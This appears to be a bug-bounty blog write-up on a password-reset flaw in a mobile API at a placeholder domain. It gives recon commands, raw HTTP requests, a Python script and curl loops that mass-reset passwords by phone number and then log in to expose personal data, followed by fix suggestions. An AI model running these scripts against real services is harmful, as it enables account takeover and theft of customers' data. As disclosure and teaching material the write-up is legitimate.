Free Link 🎈

⚠️ Disclaimer: This blog is for educational purposes only. All vulnerabilities mentioned here have been responsibly disclosed to the organization involved. Don't be a script kiddie. Be a responsible researcher. πŸ™

🧠 Reality Check: Passwords Can Be as Fragile as My Sleep Schedule 😴

It was 3:12 AM.

I was lying there, like most security researchers, contemplating if the fourth cup of coffee was a mistake or a stepping stone to glory. My eyes were burning, fingers jittery, and tabs β€” oh boy β€” 128 tabs open in Burp Suite like a DJ's deck.

Some people count sheep to fall asleep. I count open ports. πŸπŸ›œ

And somewhere between api/v2/user/profile and my 7th screenshot of a 403 Forbidden, I struck gold. Or rather... I struck a leaky faucet of logic flaw in an API endpoint that screamed:

"I was made on a Friday evening, deploy-ready, zero test cases."

πŸ” Stage 1: Mass Recon Like a Nosy Neighbor

You know the drill.

Started by scraping all subdomains using:

assetfinder --subs-only target.com | httpx -ports 443,80,8080 -status-code -title

Then followed up with:

gau target.com | gf api | tee all_apis.txt

From the list, a sneaky mobile domain caught my eye:

https://m-api.target.com

Looked harmless. Sounded cute. But you know what they say:

The more adorable the endpoint sounds, the more catastrophic its bugs.

I started fuzzing endpoints using a combo of:

ffuf -u https://m-api.target.com/FUZZ -w common-endpoints.txt -mc all

Boom.

Discovered:

/api/v3/auth/password-reset

And the best part? No authentication required.

πŸ” Stage 2: The Forgot Password Flow That Forgot Security

After intercepting the mobile app's forgot password request, this is what I saw in Burp:

POST /api/v3/auth/password-reset HTTP/1.1
Host: m-api.target.com
Content-Type: application/json
{
  "phone": "9876543210"
}

I was expecting a 429 or OTP validation. But instead?

{
  "status": "success",
  "message": "Password reset link sent to your registered number."

…Except no SMS arrived. So I decided to push the limits.

Tried:

POST /api/v3/auth/password-reset HTTP/1.1
Content-Type: application/json
{
  "phone": "9876543210",
  "new_password": "SuperSecure123!",
  "confirm_password": "SuperSecure123!"
}

And guess what…

Password was reset. No OTP. No token. No verification. Just… vibes. πŸͺ„

βš”οΈ Stage 3: Wielding the Bug Like a Bounty Sword

Now, this wasn't just a broken reset. It was:

  • Missing OTP check ❌
  • No rate limit ❌
  • No account existence validation ❌
  • No session-based tracking ❌

I created a quick Python POC using requests and a phone list:

import requests
target_url = "https://m-api.target.com/api/v3/auth/password-reset"
numbers = ["9876543210", "9123456789", "9000012345"]
for number in numbers:
    data = {
        "phone": number,
        "new_password": "P@ssword123",
        "confirm_password": "P@ssword123"
    }
    res = requests.post(target_url, json=data)
    print(f"[+] Reset request sent to {number}: {res.status_code} {res.text}")

In no time, I had access to multiple accounts β€” just by knowing their phone numbers. No tokens, no links, no nothing.

https://medium.com/bugbountywriteup/click-recon-jackpot-%EF%B8%8F-%EF%B8%8F-how-a-subdomain-led-me-to-an-s3-treasure-trove-2f65c3a80010

πŸ› οΈ More than Just a Reset: Turning Password Bugs into Sensitive Data

Once inside the account (by logging in with the reset credentials), the dashboard exposed:

  • Full Name
  • Email
  • Linked Credit Cards (last 4 digits)
  • Order History
  • Delivery Address

And since the mobile API didn't limit requests, I ran:

for number in $(cat numbers.txt); do
  curl -X POST -H "Content-Type: application/json" \
  -d '{"phone":"'$number'", "new_password":"P@ss1234", "confirm_password":"P@ss1234"}' \
  https://m-api.target.com/api/v3/auth/password-reset
done

Followed by:

for number in $(cat numbers.txt); do
  curl -X POST -H "Content-Type: application/json" \
  -d '{"phone":"'$number'", "password":"P@ss1234"}' \
  https://m-api.target.com/api/v3/auth/login
done

At this point, I wasn't just resetting accounts β€” I was harvesting sensitive info like a digital scarecrow. πŸ§Ÿβ€β™‚οΈπŸŒ½

None
Gif

πŸ“· Proof of Concept

Request:

POST /api/v3/auth/password-reset HTTP/1.1
Host: m-api.target.com
Content-Type: application/json
{
  "phone": "9876543210",
  "new_password": "HackedByRev30",
  "confirm_password": "HackedByRev30"
}

Login:

POST /api/v3/auth/login HTTP/1.1
Host: m-api.target.com
Content-Type: application/json
{
  "phone": "9876543210",
  "password": "HackedByRev30"
}

Logged in βœ… Access granted βœ… Sensitive data seen βœ…

Reset passwords. Log in. View data. Own accounts.

πŸ§ͺ Lessons + Fix Suggestions

What could've prevented this?

  • OTP verification logic.
  • Phone verification token.
  • Rate-limiting (IP + phone number).
  • Captcha.
  • User identity validation step.

🀯 Final Thoughts

Sometimes, all it takes to own an account is… just a phone number β€” and a developer who was in a hurry to push the weekend build.

This bug made me think of how many companies prioritize speed over security in their mobile apps. Always test the mobile API endpoints separately from the web ones. Mobile versions often skip out on protections thinking they're "hidden."

But to someone like us, nothing stays hidden for long. πŸ•΅οΈβ€β™‚οΈπŸ’»

Connect with Me!

  • LinkedIn
  • Instagram: @rev_shinchan
  • Gmail: rev30102001@gmail.com

#EnnamPolVazhlkaiπŸ˜‡

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF.